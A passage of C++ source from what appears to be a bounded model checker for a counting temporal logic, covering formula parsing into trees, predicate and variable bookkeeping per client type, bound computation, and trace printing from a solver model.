new_op_node->val -- variable includes client type if any. new_op_node->val.erase(); //std::cout << "\nnew_op_node->val is: " << new_op_node->val << "ctype_in is: " << ctype_in << "\n"; new_op_node->val=cfoval.substr(0,ctype_in); std::cout << "\nValue field updated. It is "<< new_op_node->val << "\n";fflush(stdout); std::cout << "\ncfoval is "<< cfoval << "\n"; //getchar(); //we should add variable (and client) to the list and update the MaxBoundList -- Don't add variable here. //result=add_variable_to_formula_info(new_op_node->val,client); //if(result){// a new client has just been added to the list // ClientList[client]=NoOfCltTypes-1; // MaxBoundList[client]=new_op_node->bound; //} if(MaxBoundList[client] < new_op_node->bound){ std::cout << "Updating MaxBoundList\n"; MaxBoundList[client]=new_op_node->bound; //getchar(); } //assign the client type as a number >=0 //new_op_node->iclient=ClientList[client]; //std::cout << "\nThe assigned client value to the # node is : " << client; //std::cout << "\nThe assigned iclient value to the # node is : " << ClientList[client]; //getchar(); //getchar(); i=i+j; op_stack.push(new_op_node); NoOfCntQntfrs++;//No of Counting Quantifiers seen is incremented. break; case 5: std::cout<< "\nMonadic Predicate\n"; new_op_node->type=5;//monadic predicate p(var:client) j=1; while(FormulaText[i+j]!='('){ //we expect predicate p/q/r to be followed with only digits new_op_node->val.push_back(FormulaText[i+j]); j++; } std::cout << "\nThe monadic predicate read is :" << new_op_node->val << "\n"; fflush(stdout); ////getchar(); //in order to add predicate to formula_info we need client type. //clearly the predicate should be followed by variable or variable:client-type enclosed in (). i=i+j+1; j=0; flag=0; in=0; var.clear(); while(FormulaText[i+j]!=')'){ var.push_back(FormulaText[i+j]); if(FormulaText[i+j]==':') {flag=1;in=j;} j++; } if(!flag){//flag is false new_op_node->client.clear();//no client info } else{//flag is true new_op_node->client.clear(); new_op_node->client=var.substr(in+1,var.length()-in-1); } i=i+j+2; //we add the predicate to the formula_info client.clear();//the client should be same for predicate and variable. client=new_op_node->client; //client name is carried into a separate std::string as we do not want to dereference new_op_node/new_for_node often. add_predicate_to_formula_info(new_op_node->val,client); //we should also add a variable to formula_info FTree* new_for_node= new FTree; if(new_for_node==NULL){ std::cout<<"\nMemory Allocation Error\n"; exit(1); } std::cout<<"\nConstructed a tree node to store " << new_op_node->val << " with pointer " << new_op_node; fflush(stdout); new_for_node->type=0; new_for_node->ctype=0; new_for_node->val=var; // new_for_node->model=-1; // new_for_node->copy=-1; // new_for_node->subd=0; // new_for_node->num=-1; new_for_node->client=client;//new_for_node->client and new_op_node->client are same. //the var in the following call is same as new_for_node->val but we do not dereference new_for_node and use var instead. result = add_variable_to_formula_info(var,client); if(result){// a new client has just been added to the list std::cout << "\nThe client type is :" << client << "\n"; ClientList[client]=NoOfCltTypes-1; std::cout << "The corresponding iclient value is " << ClientList[client] << "\n"; } //getchar();getchar(); std::cout<<"\nConstructed a tree node to store " << new_for_node->val << " with pointer " << new_for_node; fflush(stdout); //assign the client type as a number >=0 new_for_node->iclient=ClientList[client]; new_op_node->iclient=ClientList[client]; std::cout << "\nThe client type is :" << client << "\n"; std::cout << "The corresponding iclient value is " << new_op_node->iclient << "\n"; //getchar();getchar(); new_op_node->next=new_for_node; for_stack.push(new_op_node); break; }//end of switch(op_type(new_op_node->val[0])) //std::cout<<"\nLabel for internal node is " << new_op_node->val << "\n"; //std::cout<<"\nLabel for leaf node is " << new_op_node->next->val << "\n"; //fflush(stdout); std::cout << "\npushed the new op node onto the stack...............\n"; std::cout << "\nThe value of i is " << i << "\n"; //display_op_stack(); continue; }//end of switch(op_prcd(FormulaText[i])) continue; //-------------------end of case 1 for isoperator---------------------------------------------------- case 0: //FormulaText[i] is not an operator //std::cout<<"\n%c is not an operator",FormulaText[i]); fflush(stdout); //in this case, we shall encounter a proposition -- local property of server. //local property of clients we have already taken care of as they occur along with variable //in the form p(x) or p(x:i) //variables also we have taken care of as they occur with monadic predicates //here we have to construct token for the server proposition and create a formula node for it //and push the formula node into the for_stack //construct token if(FormulaText[i-1]=='('){ prop.clear();//initialize the token if the preceding character is '(' std::cout<<"\nInitialized the token.\nWe have to read the full proposition.\n"; fflush(stdout); } else{ std::cout<<"\nThere is some problem with the structure of the input. Exiting.......\n"; fflush(stdout); exit(1); } //std::cout<<"\nwe are here.1\n"; //fflush(stdout); j=i; while(FormulaText[j]!=')' ){ prop.push_back(FormulaText[j]); j++; //std::cout<<"\nAdding %c to the token\n",FormulaText[j-1]); ////getchar(); //std::cout<<"\nwe are here.\n"; fflush(stdout); } //std::cout<<"\nwe are here.2\n"; //fflush(stdout); for_node=new FTree; if(for_node==NULL){ std::cout<<"\nMemory Allocation Error\n"; exit(1); } for_node->type=0; for_node->val=prop; for_node_l->client="server"; //std::cout<<"\nwe are here.\n"; fflush(stdout); //std::cout<<"\nwe are here.\n"; fflush(stdout); fflush(stdout); for_node->parent=NULL; for_node->right=NULL; for_node->left=NULL; for_node->next=NULL; // for_node->model=-1; // for_node->copy=-1; // for_node->subd=0; // for_node->num=-1; for_stack.push(for_node); //std::cout<<"\npush the new leaf node onto the stack...............\n"; fflush(stdout); //--------------------code for = and !=------------------------------------------------------------- /* //construct token if(FormulaText[i-1]=='('||FormulaText[i-1]=='='){ var1.clear();//initialize the token if the preceding character is '(' //std::cout<<"\nInitialized the token.\nWe have to read the full variable.\n"; fflush(stdout); } else{ //std::cout<<"\nThere is some problem with the structure of the input. Exiting.......; fflush(stdout); exit(1); } //std::cout<<"\nwe are here.1\n"; //fflush(stdout); flag=0; j=i; while(FormulaText[j]!='='&& FormulaText[j]!='!' && FormulaText[j]!=':' && FormulaText[j]!=')' ){ var1.push_back(FormulaText[j]); j++; //std::cout<<"\nAdding %c to the token\n",FormulaText[j-1]); ////getchar(); //std::cout<<"\nwe are here.\n"; fflush(stdout); } //var1[j-i]='\0';--no longer needed //std::cout<<"\nwe are here.2\n"; //fflush(stdout); //token carries a variable now. we have to make sure two things at this point, //1: is there any client info, 2: is it an equality formula or inequality formula client1.clear(); if(FormulaText[j]==':'){ //there is client info. we need to store it in client1 i=++j; while(FormulaText[j]!='='&& FormulaText[j]!='!' && FormulaText[j]!=')'){ client1.push_back(FormulaText[j]); j++; //std::cout<<"\nAdding %c to the token\n",FormulaText[j-1]); ////getchar(); //std::cout<<"\nwe are here.\n"; fflush(stdout); } //client1[j-i]='\0';--no longer needed } switch(FormulaText[j]){ case '!': flag=0; i=j+2; break; case '=': flag=1; i=j+1; break; default: cerr << "\nError in input. Exiting"; exit(1); } for_node_l=new FTree; if(for_node_l==NULL){ //std::cout<<"\nMemory Allocation Error\n"; exit(1); } for_node_l->type=0; for_node_l->val=var1; for_node_l->client=client1; //std::cout<<"\nwe are here.\n"; fflush(stdout); add_variable_to_formula_info(for_node_l->val,for_node_l->client); //std::cout<<"\nwe are here.\n"; fflush(stdout); // if(done){ //std::cout<<"\nSuccessfully added a variable to the VList.\n"; // formula_info->VNum++; // } //std::cout<<"\nThe label for leaf node is %s with pointer %p\n",for_node->val,for_node); fflush(stdout); for_node_l->parent=NULL; for_node_l->right=NULL; for_node_l->left=NULL; for_node_l->next=NULL; for_node_l->model=-1; for_node_l->copy=-1; for_node_l->subd=0; for_node_l->num=-1; // for_stack.push(for_node); //std::cout<<"\npush the new leaf node onto the stack...............\n"; fflush(stdout); //now we compute the second part of the equality (inequality) if(FormulaText[i-1]=='='){ var2.clear();//initialize the token if the preceding character is '(' //std::cout<<"\nInitialized the token.\nWe have to read the full variable.\n"; fflush(stdout); } else{ //std::cout<<"\nThere is some problem with the structure of the input. Exiting.......; fflush(stdout); exit(1); } //std::cout<<"\nwe are here.1\n"; //fflush(stdout); j=i; while(FormulaText[j]!=':' && FormulaText[j]!=')' ){ var2.push_back(FormulaText[j]); j++; //std::cout<<"\nAdding %c to the token\n",FormulaText[j-1]); ////getchar(); //std::cout<<"\nwe are here.\n"; fflush(stdout); } //var2[j-i]='\0';-- no longer needed //std::cout<<"\nwe are here.2\n"; //fflush(stdout); //token carries a variable now. we have to make sure two things at this point, //1: is there any client info, 2: is it an equality formula or inequality formula client2.clear(); if(FormulaText[j]==':'){ //there is client info. we need to store it in client1 i=++j; while(FormulaText[j]!=')'){ client2.push_back(FormulaText[j]); j++; //std::cout<<"\nAdding %c to the token\n",FormulaText[j-1]); ////getchar(); //std::cout<<"\nwe are here.\n"; fflush(stdout); } //client2[j-i]='\0';--no longer needed } for_node_r=new FTree; if(for_node_r==NULL){ //std::cout<<"\nMemory Allocation Error\n"; exit(1); } for_node_r->type=0; for_node_r->val=var2; for_node_r->client=client2; //std::cout<<"\nwe are here.\n"; fflush(stdout); add_variable_to_formula_info(for_node_r->val,for_node_r->client); //std::cout<<"\nwe are here.\n"; fflush(stdout); // if(done){ //std::cout<<"\nSuccessfully added a variable to the VList.\n"; // formula_info->VNum++; // } //std::cout<<"\nThe label for leaf node is %s with pointer %p\n",for_node->val,for_node); fflush(stdout); for_node_r->parent=NULL; for_node_r->right=NULL; for_node_r->left=NULL; for_node_r->next=NULL; for_node_r->model=-1; for_node_r->copy=-1; for_node_r->subd=0; for_node_r->num=-1; // for_stack.push(for_node); //std::cout<<"\npush the new leaf node onto the stack...............\n"; fflush(stdout); //-------------------------------------------------------------------------------------------------------- //at this point, we construct a subtree rooted at "=" or "!=" as a special case fflush(stdout); op_node=new FTree; if(op_node==NULL){ //std::cout<<"\nMemory Allocation Error\n"; exit(1); } if(flag==0) op_node->val="!="; else op_node->val="="; //std::cout<<"\nThe operator is %s\n",op_node->val); fflush(stdout); op_node->left=for_node_l; op_node->right=for_node_r; op_node->type=2;//for binary operator op_node->model=-1;// op_node->copy=-1;// op_node->subd=0;// op_node->num=-1; op_node->client.clear(); //std::cout<<"\npush the new subformula node onto the formula stack ...............\n"; for_stack.push(op_node); */ //----------------------code for = and != ends.----------------------------------------------------- i=j+1; continue; //-------------------end of case 0 for isoperator---------------------------------------------------- case -1: //std::cout<<"\nThere is an error in the input. Exiting...........; exit(1); //-------------------end of case -1 for isoperator---------------------------------------------------- }//end of switch-case(isoperator(FormulaText[i])) }//end of while(i<len) // for_node=for_stack.top();for_stack.pop(); FormulaTree=for_stack.top();for_stack.pop(); //print the number of client types. std::cout << "\nThe no. of client types mentioned in the formula is: " << NoOfCltTypes << std::endl; if(FormulaTree!=NULL){ std::cout << "Formula tree constructed -- returning 1\n"; return 1; } else{ std::cout << "Formula tree not constructed -- returning 0\n"; return 0; } }//end of ftree_convert //--------------------------------------------------------------------------------------------------- // //--------------------------------------------------------------------------------------------------- void Formula::add_predicate_to_formula_info(std::string pred,std::string client) { std::string PE; //Note that pred does not contain client info. PE=pred; PE.append(":"); PE.append(client); PE.shrink_to_fit();//works with --std=c++11 if(PredList.find(PE)==PredList.end())//PE is not in the set PredList { PredList.insert(PE); if(PredNum.find(client)==PredNum.end()){//No entry for client in the map PredNum std::cout << "\nInitializing the entry for " << client << " in map PredNum.\n"; std::cout << "\nRegistering a new client type.\n"; ////getchar(); //std::cout << "\nLength of client is: " << strlen(client)<< std::endl; PredNum[client]=1; } else{ std::cout << "\nIncrementing the entry for " << client << " in map PredNum.\n"; ////getchar(); //std::cout << "\nLength of client is: " << strlen(client)<< std::endl; PredNum[client]=PredNum[client]+1; } } } //-------------------------------------------------------------------------------------------------- bool Formula::add_variable_to_formula_info(std::string VE,std::string client) { //Note that var contains both variable as well as client info. VE.shrink_to_fit();//works with --std=c++11 if(VarList.find(VE)==VarList.end())//VE is not in the set VarList { VarList.insert(VE); std::cout << "\nInserting variable " << VE << " in the list.\n"; ////getchar(); if(VarNum.find(client)==VarNum.end()){//No entry for client in the map VarNum std::cout << "\nInitializing the entry for " << client << " in map VarNum.\n"; ////getchar(); //std::cout << "\nLength of client is: " << strlen(client)<< std::endl; VarNum[client]=1; //register a new client type NoOfCltTypes++; //return true return true; } else{ std::cout << "\nIncrementing the entry for " << client << " in map VarNum.\n"; ////getchar(); //std::cout << "\nLength of client is: " << strlen(client)<< std::endl; VarNum[client]=VarNum[client]+1; //return false -- no new client type return false; } } } //--------------------------------------------------------------------------------------------------- //--------------------------------------------------------------------------------------------------- int Formula::get_bound() { /* -- Bound Computation for MFO -- int B=0; int M; map <std::string,int> :: const_iterator pos; for(pos=PredNum.begin();pos!=PredNum.end();pos++) { M = 1 << pos->second; B = B + VarNum[pos->first] * M; } return B; */ /* -- Bound Computation for CFO -- */ int PredCount=0; int M=0; std::map <std::string,int> :: const_iterator pos; for(pos=PredNum.begin();pos!=PredNum.end();pos++) { PredCount += pos->second; } //PredCount is the no. of predicates occuring in the formula M = 1 << PredCount; //M=2^B //Final Bound is as follows return M * (MaxBound+1); } //--------------------------------------------------------------------------------------------------- //--------------------------------------------------------------------------------------------------- std::map <std::string,int> Formula::compute_bounds() { std::map <std::string,int> B;//define a map int M; std::map <std::string,int> :: const_iterator pos; for(pos=PredNum.begin();pos!=PredNum.end();pos++) { M = 1 << pos->second; B[pos->first] = VarNum[pos->first] * M; } return B;//return the map containing the bounds for each client type } //-------------------------------------------------------------------------------------------------- //-------------------------------------------------------------------------------------------------- /* bool Formula::quant_elim() { QEFTree=eliminate_quantifier(FormulaTree); if(QEFTree!=NULL) return 1; else return 0; } */ //-------------------------------------------------------------------------------------------------- /* FTree* Formula::eliminate_quantifier(FTree* TF) { FTree* root=NULL; FTree* new_root=NULL; FTree* old_root=NULL; FTree* new_subformula=NULL; FTree* SubdTFnext=NULL; std::string var; int i,j,k; int M; int R; std::string client; bool flag=0; int in=0; //We can not have global M and R. It depends on client type. ////getchar(); std::cout << "\n\n\nWe are in quantifier elimination routine...."; std::cout << "Looking at the following subformula:"; display_ft_pre(TF); std::cout<<"\n"; //std::cout<<"\nIn infix form:; //display_ft(TF); //std::cout<<"\n"; //display_lists(); //display_nums(); client=TF->client; int PredVal=PredNum[client]; int VarVal=VarNum[client]; //std::cout << "The client name is: "<< client<< std::endl; // std::cout<<"\nThe no. of predicates for client "<< client<< " is: " << PredVal << std::endl; // std::cout<<"\nThe no. of variables is: " << VarVal << std::endl; //compute M and R for the client type of E M=1 << PredVal; R=VarVal; std::cout<<"\n\nThe no. of models for client "<< client<< " is: " << M << std::endl; std::cout<<"\n\nThe no. of copies of models is: " << R << std::endl; ////getchar(); //we traverse the formula tree and replace Ex subtree by 2^M-1 'or' subtrees and replace Ax subtree by 2^M-1 'and' subtrees. switch(TF->type) { case 0:// type variable return TF; case 1:// type unary connective TF->next=eliminate_quantifier(TF->next); return TF; case 2:// type binary connective TF->right=eliminate_quantifier(TF->right); TF->left=eliminate_quantifier(TF->left); return TF; case 3:// type quantifier switch(TF->val[0]) { case 'E': //replace TF tree with Ev at root by an 'or' rooted tree //TF->val contains std::string Evar. we need to extract var //k=1; var.clear(); var=TF->val.substr(1,TF->val.length()-1); //while(k<size){ // var.push_back(TF->val[k]); // k++; //} //var[k-1]='\0';--no longer needed std::cout << "\neliminating E over the variable " << var << std::endl; std::cout << "\nAfter eliminating quantifiers from the sub-formula:"; display_ft_pre_sub(TF->next); SubdTFnext=eliminate_quantifier(TF->next); std::cout<<"\n\nWe get the following formula:"; display_ft_pre_sub(SubdTFnext); std::cout<<"\n\n"; ////getchar(); //std::cout<<"\nEliminating an existential quantifier E" << var<< std::endl; //client=TF->client; //std::cout<<"\nThe no. of predicates for client "<< client<< " is: " << PredNum[client] << std::endl; //std::cout<<"\nThe no. of variables is: " << VarNum[client] << std::endl; //compute M and R for the client type of E //M=1 << PredNum[client]; //R=VarNum[client]; std::cout<<"\nThe no. of models for client "<< client<< " is: " << M << std::endl; std::cout<<"\nThe no. of copies of models is: " << R << std::endl; ////getchar(); //-----------------------------------no problem till here-------------------------------------------------- for(int i=0;i<M;i++){ for(int j=0;j<R;j++){ if(i==0 && j==0){ root=new FTree; root->val="|"; root->type=2; root->client=client; std::cout << "\nConstructing a copy of the subformula.......\n"; new_subformula=copy(SubdTFnext); std::cout<<"\nCopy of the subformula with free variable " << var; display_ft_pre_sub(new_subformula); std::cout<<"\n"; std::cout<<"\n\nReplacing "<< var << " by " << R*i+j << " in the above formula\n\n"; ////getchar(); substitute(new_subformula,var,0,0,R*0+0); std::cout<<"\nThe substituted subformula is:"; display_ft_pre_sub(new_subformula); std::cout<<"\n\n"; root->left=new_subformula; root->right=NULL; std::cout<<"\nThe partially quantifier eliminated formula is:"; display_ft_pre_sub(root); std::cout<<"\n\n"; old_root=root; } else if(i==M-1 && j==R-1){ new_subformula=copy(SubdTFnext); std::cout<<"\nCopy of the subformula with free variable " << var; display_ft_pre_sub(new_subformula); std::cout<<"\n"; std::cout<<"\n\nReplacing "<< var << " by " << R*i+j << " in the above formula\n\n"; ////getchar(); substitute(new_subformula,var,i,j,R*i+j); std::cout<<"\nThe substituted subformula is:"; display_ft_pre_sub(new_subformula); std::cout<<"\n\n"; old_root->right=new_subformula; std::cout<<"\nThe partially quantifier eliminated formula is:"; display_ft_pre_sub(old_root); std::cout<<"\n\n"; } else{ new_root=new FTree; new_root->val="|"; new_root->type=2; new_root->client=client; new_subformula=copy(SubdTFnext); std::cout<<"\nCopy of the subformula with free variable " << var; display_ft_pre_sub(new_subformula); std::cout<<"\n"; std::cout<<"\n\nReplacing "<< var << " by " << R*i+j << " in the above formula\n\n"; ////getchar(); substitute(new_subformula,var,i,j,R*i+j); std::cout<<"\nThe substituted subformula is:"; display_ft_pre_sub(new_subformula); std::cout<<"\n"; new_root->left=new_subformula; new_root->right=NULL; std::cout<<"\nThe partially quantifier eliminated formula is:"; display_ft_pre_sub(root); std::cout<<"\n\n"; old_root->right=new_root; old_root=new_root; } }//end of for-j }//end of for-i return root; case 'A': //replace TF tree with Av at root by an 'and' rooted tree var.clear(); var=TF->val.substr(1,TF->val.length()-1); //k=1; //while(TF->val[k]!='\0'){ // var[k-1]=TF->val[k]; // k++; //} //var[k-1]='\0'; //std::cout<<"\nEliminating an universal quantifier A%s\n",var); //client=TF->client; //compute M and R for the client type of A //M=1 << PredNum[client]; //R=VarNum[client]; SubdTFnext=eliminate_quantifier(TF->next); //std::cout<<"\nAfter eliminating quantifiers from the sub-formula:; //display_ft_pre_sub(SubdTFnext); //std::cout<<"\n\n"; ////getchar(); for(int i=0;i<M;i++){ for(int j=0;j<R;j++){ if(i==0 && j==0){ root=new FTree; root->val="&"; root->type=2; root->client=client; new_subformula=copy(SubdTFnext); //std::cout<<"\nCopy of the subformula with free variable %s:",var); //display_ft_pre_sub(new_subformula); //std::cout<<"\n"; ////getchar(); substitute(new_subformula,var,0,0,R*0+0); //std::cout<<"\nThe substituted subformula is:; //display_ft_pre_sub(new_subformula); //std::cout<<"\n"; root->left=new_subformula; //std::cout<<"\nThe partially quantifier eliminated formula is:; //display_ft_pre_sub(root); //std::cout<<"\n"; old_root=root; } else if(i==M-1 && j==R-1){ new_subformula=copy(SubdTFnext); //std::cout<<"\nCopy of the subformula with free variable %s:",var); //display_ft_pre_sub(new_subformula); //std::cout<<"\n"; ////getchar(); substitute(new_subformula,var,i,j,R*i+j); //std::cout<<"\nThe substituted subformula is:; //display_ft_pre_sub(new_subformula); //std::cout<<"\n"; old_root->right=new_subformula; //std::cout<<"\nThe partially quantifier eliminated formula is:; //display_ft_pre_sub(old_root); //std::cout<<"\n"; } else{ new_root=new FTree; new_root->val="&"; new_root->type=2; new_root->client=client; new_subformula=copy(SubdTFnext); //std::cout<<"\nCopy of the subformula with free variable %s:",var); //display_ft_pre_sub(new_subformula); //std::cout<<"\n"; ////getchar(); substitute(new_subformula,var,i,j,R*i+j); //std::cout<<"\nThe substituted subformula is:; //display_ft_pre_sub(new_subformula); //std::cout<<"\n"; new_root->left=new_subformula; old_root->right=new_root; //std::cout<<"\nThe partially quantifier eliminated formula is:; //display_ft_pre_sub(root); //std::cout<<"\n"; old_root=new_root; } } } return root; default: //std::cout<<"\nThere is an error in the subformula.\nWe expected a quantifier.\n"; return 0; } case 4:// type predicate return TF; } } */ //------------------------------------------------------------------------------------------------------------------------------- //------------------------------------------------------------------------------------------------------------------------------- FTree* Formula::copy(FTree* TF) { FTree* new_node=NULL; FTree* new_subtree=NULL; FTree* new_l_subtree=NULL; FTree* new_r_subtree=NULL; //std::cout<<"\nIn the copy routine for:"; //display_ft_pre_sub(TF); if(TF==NULL){ std::cout<<"\nError in the formula tree.\n"; return(NULL); } //std::cout<<"\nThe formula to copy (in prefix form); //display_ft_pre_sub(TF); fflush(stdout); new_node=new FTree; if(new_node==NULL){ std::cout<<"\nError in memory allocation\nExiting\n"; exit(1); } new_node->type=TF->type; // new_node->subd=TF->subd; // new_node->model=TF->model; // new_node->copy=TF->copy; // new_node->num=TF->num; new_node->val=TF->val; new_node->client=TF->client; new_node->iclient=TF->iclient; new_node->bound=TF->bound; new_node->ctype=TF->ctype; switch(TF->type){ case 2: //std::cout<<"\nThe node type is %d",TF->type); new_l_subtree=copy(TF->left); new_r_subtree=copy(TF->right); /*------No need to repeat the code--------------------------------- new_node=new FTree; if(new_node==NULL){ //std::cout<<"\nError in memory allocation\nExiting\n"; exit(0); } new_node->type=2; new_node->subd=0; new_node->model=-1; new_node->copy=-1; new_node->num=-1; new_node->val=TF->val; new_node->client=TF->client; -------------------Repeting code ends here-----------------------*/ new_node->left=new_l_subtree; new_node->right=new_r_subtree; new_node->next=NULL; return(new_node); case 5: case 3: case 4: case 1: //std::cout<<"\nThe node type is %d",TF->type); fflush(stdout); new_subtree=copy(TF->next); /*------No need to repeat the code--------------------------------- new_node=new FTree; if(new_node==NULL){ //std::cout<<"\nError in memory allocation\nExiting\n"; exit(0); } new_node->type=TF->type; new_node->subd=0; new_node->model=-1; new_node->copy=-1; new_node->num=-1; new_node->val=TF->val; new_node->client=TF->client; -------------------Repeting code ends here-----------------------*/ new_node->left=NULL; new_node->right=NULL; new_node->next=new_subtree; return(new_node); case 0: //std::cout<<"\nThe node type is :" << TF->type; fflush(stdout); /*------No need to repeat the code--------------------------------- new_leaf=new FTree; if(new_leaf==NULL){ std::cout<<"\nError in memory allocation\nExiting\n"; exit(0); } new_leaf->type=0; new_leaf->subd=TF->subd; new_leaf->model=TF->model; new_leaf->copy=TF->copy; new_leaf->num=TF->num; new_leaf->val=TF->val; new_leaf->client=TF->client; -------------------Repeting code ends here-----------------------*/ new_node->left=NULL; new_node->right=NULL; new_node->next=NULL; //std::cout << "\n\n"; return(new_node); default: std::cout<<"\nError! Type can either be 0, 1, 2, 3, 4 or 5.\n"; break; } } //-------------------------------------------------------------------------------------------------- //-------------------------------------------------------------------------------------------------- /* void Formula::substitute(FTree* TF,std::string var, int i, int j,int k) { // //std::cout<<"\nReplacing %s by (%d,%d) recursively in the formula:",var,i,j); // //display_ft_pre(TF); // //std::cout<<"\n"; if(TF==NULL){ //std::cout<<"\nFormula is NULL\nThis should not have happened.\n"; fflush(stdout); return; } switch(TF->type) { case 0: if(TF->val==var && TF->subd ==0){ //std::cout<<"We are replacing %s by (%d,%d) at the leaf level\n",TF->val,i,j); TF->model=i; TF->copy=j; TF->num=k; TF->subd=1; } return; case 2: substitute(TF->left,var,i,j,k); substitute(TF->right,var,i,j,k); return; case 1: case 3: case 4: substitute(TF->next,var,i,j,k); return; } } */ //-------------------------------------------------------------------------------------------------- //-------------------------------------------------------------------------------------------------- //-------------------------------------------------------------------------------------------------- int Formula::op_type(char symbol) { switch (symbol) { //-------------------------UNARY------------------------------------- case '~'://NOT case 'X'://NEXT case 'Y'://ONE-STEP PAST case 'F'://DIAMOND case 'G'://BOX case 'P'://DIAMOND MINUS case 'Q'://BOX MINUS return 1; //-------------------------BINARY------------------------------------- case '|'://OR case '&'://AND case '='://EQUALS case '%'://IMPLICATION case 'U'://UNTIL case 'V'://RELEASE return 2; //------------------------QUANTIFIERS--------------------------------- case 'E': case 'A': return 3; //------------------------COUNTING QUANTIFIER--------------------------- case '#': return 4; //------------------------MONADIC PREDICATES---------------------------------- case 'p'://local client proposition // case 'q': // case 'r': // case 's': case 'l'://load case 't'://terminate return 5; } } //-------------------------------------------------------------------------------------------------- //-------------------------------------------------------------------------------------------------- int Formula::op_prcd(char symbol) { switch (symbol) { //-------------------------UNARY------------------------------------- case '~'://NOT case 'X'://NEXT case 'Y'://ONE-STEP PAST case 'F'://DIAMOND case 'G'://BOX case 'P'://DIAMOND MINUS case 'Q'://BOX MINUS case 'E': case 'A': case '#': case 'p': // case 'q': // case 'r': // case 's': case 'l'://load case 't'://terminate //-------------------------BINARY------------------------------------- case '|'://OR case '&'://AND case '='://EQUALS case '%'://IMPLICATION case 'U'://UNTIL case 'V'://RELEASE return 2; case '(': return 0; case ')': return 1; } } //-------------------------------------------------------------------------------------------------- //-------------------------------------------------------------------------------------------------- int Formula::isoperator(char symbol) { switch (symbol) { case '~'://~,V,&,X,U,R,P,Q,Y,F,G case '|': case '&': case '=': case '%': case 'X': case 'Y': case 'U': case 'V': case 'F': case 'G': case 'P': case 'Q': case 'E'://\exists case 'A'://\forall case '#'://counting quantifier case 'p'://local client proposition case 'l'://load case 't'://terminate case '(': case ')': return 1;//non-variables case 'q'://local server proposition // case 'r': // case 's': case 'x': case 'y': case 'z': return 0;//variables default: return -1;//illegal input } } //-------------------------------------------------------------------------------------- //-------------------------------------------------------------------------------------- <file_sep>/bmc-counttl.cpp #include "bmc-counttl.h" //-------------------------------------------------------------------------------------------------- void dummy_display_ft(FTree* FT) { if(FT==NULL){ std::cout <<"\nError in the formula tree.\n" << std::endl; return; } switch(FT->get_type()){ case 2: //std::cout <<"\nThe node type is " << FT->get_type() << std::endl; std::cout << "("; dummy_display_ft(FT->get_left()); std::cout << FT->get_val(); dummy_display_ft(FT->get_right()); std::cout << ")"; break; case 1: //std::cout <<"\nThe node type is " << FT->get_type() << std::endl; std::cout << "("; std::cout << FT->get_val(); dummy_display_ft(FT->get_next()); std::cout << ")"; break; case 0:// std::cout <<"\nThe node type is " << FT->get_type()<<std::endl; std::cout << "("; std::cout << FT->get_val(); std::cout << ")"; break; default: std::cout <<"\nError! Type can either be 0,1 or 2.\n" << std::endl; break; } } //-------------------------------------------------------------------------------------------------- //-------------------------------------------------------------------------------------------------- void dummy_display_ft_pre(FTree* FT) { if(FT==NULL){ std::cout <<"\nError in the formula tree.\n" << std::endl; return; } switch(FT->get_type()){ case 2: //std::cout <<"\nThe node type is " << FT->get_type()<<std::endl; std::cout << FT->get_val(); dummy_display_ft_pre(FT->get_left()); dummy_display_ft_pre(FT->get_right()); break; case 1: //std::cout <<"\nThe node type is " << FT->get_type()<<std::endl; std::cout << FT->get_val(); dummy_display_ft_pre(FT->get_next()); break; case 0: //std::cout <<"\nThe node type is " << FT->get_type()<<std::endl; std::cout << "("; std::cout << FT->get_val(); std::cout << ")"; break; default: std::cout <<"\nError! Type can either be 0,1 or 2.\n" << std::endl; break; } } //-------------------------------------------------------------------------------------------------- //-------------------------------------------------------------------------------------------------- int main() { //-------------------------------------------------------------------------------------------------- //---------------------------------------- CONVENTIONS --------------------------------------------- //------ | means lor------ & means land----- ^ means lxor--- % means limplies-- ~ means lnot-------- //-------------------------------------------------------------------------------------------------- //-------------------------------------------------------------------------------------------------- //Create an object of the type CountTLBMC to start the CountTL BMC algorithm. //-------------------------------------------------------------------------------------------------- counttl_bmc CountTLBMC;//uses the default constructor: don't we need any parameters ? //-------------------------------------------------------------------------------------------------- //Call the root method that does the rest. //-------------------------------------------------------------------------------------------------- bool result=CountTLBMC.init(); //-------------------------------------------------------------------------------------------------- return 0; } //-------------------------------------------------------------------------------------------------- void counttl_bmc::print_trace(int k) { model m = S.get_model(); // std::cout << m << "\n\n" <<std::endl; // traversing the model for (unsigned i = 0; i < m.size(); i++) { // std::cout << m[i] << "\n\n" <<std::endl; func_decl v = m[i]; // std::cout << v << "\n\n" <<std::endl; // this problem contains only constants // assert(v.arity() == 0); std::cout << v.name() << " = " << m.get_const_interp(v) << " "; } std::cout << "\n\n" <<std::endl; } //-------------------------------------------------------------------------------------------------- //-------------------------------------------------------------------------------------------------- bool counttl_bmc::init() { /* //-------------------------------------------------------------------------------------------------- //--------------------------------CODE FOR LTL BMC-------------------------------------------------- //-------------------------------------------------------------------------------------------------- // std::string IF = "(((x0)=(f))&((x1)=(f)))";//Boolean formula for Input state set // std::string IF = "(((x0)=(f))&((x2)=(f)))";//Boolean formula for Input state set // std::string IF = "(((x1)=(f))&((x2)=(f)))";//Boolean formula for Input state set // std::string IF = "(((x0)=(t))&((x2)=(f)))";//Boolean formula for Input state set // std::string IF = "((((x0)=(f))&((x1)=(f)))&((x2)=(f)))";//Boolean formula for Input state set // std::string TF = "(((y0)=(x1))&(((y1)=(x2))&((y2)=(t))))";//Boolean formula for Transition Relation // std::string TLF = "(G((((x0)=(t))&((x1)=(t)))&((x2)=(t))))";//CountTL Formula with G modality // std::string TLF = "(F((((x0)=(t))&((x1)=(t)))&((x2)=(t))))";//CountTL Formula with F modality // std::string TLF = "(((x0)=(f))U((x0)=(t)))";//CountTL Formula with U modality // std::string TLF = "(X(((x1)=(f))U((x1)=(t))))";//CountTL Formula with X and U modality //-------------------------------------------------------------------------------------------------- //------------------------------- CONVENTIONS------------------------------------------------------- //-------| means lor-------& means land------^ means lxor----% means limplies---~ means lnot-------- //-------------------------------------------------------------------------------------------------- //-------------------------------Two bit Counter---------------------------------------------------- // std::string IF = "(((x0)=(f))&((x1)=(f)))"; // std::string TF = "((~((y0)^(~(x0))))&(~((y1)^((x0)^(x1)))))"; //-------------------------------------------------------------------------------------------------- //-------------------------------CountTL Properties----------------------------------------------------- //-------------------------------------------------------------------------------------------------- // std::string TLF = "(G((((x0)=(f))%(X((x0)=(t))))&((((x0)=(t))%(X((x0)=(f))))))"; // std::string TLF = "(G((((x0)=(t))&(X((x0)=(f))))%((((x1)=(t))&(X((x1)=(f)))|(((x1)=(f))&(X((x1)=(t))))))))"; // std::string TLF = "(G(((x0)=(f))|((x1)=(f))))"; 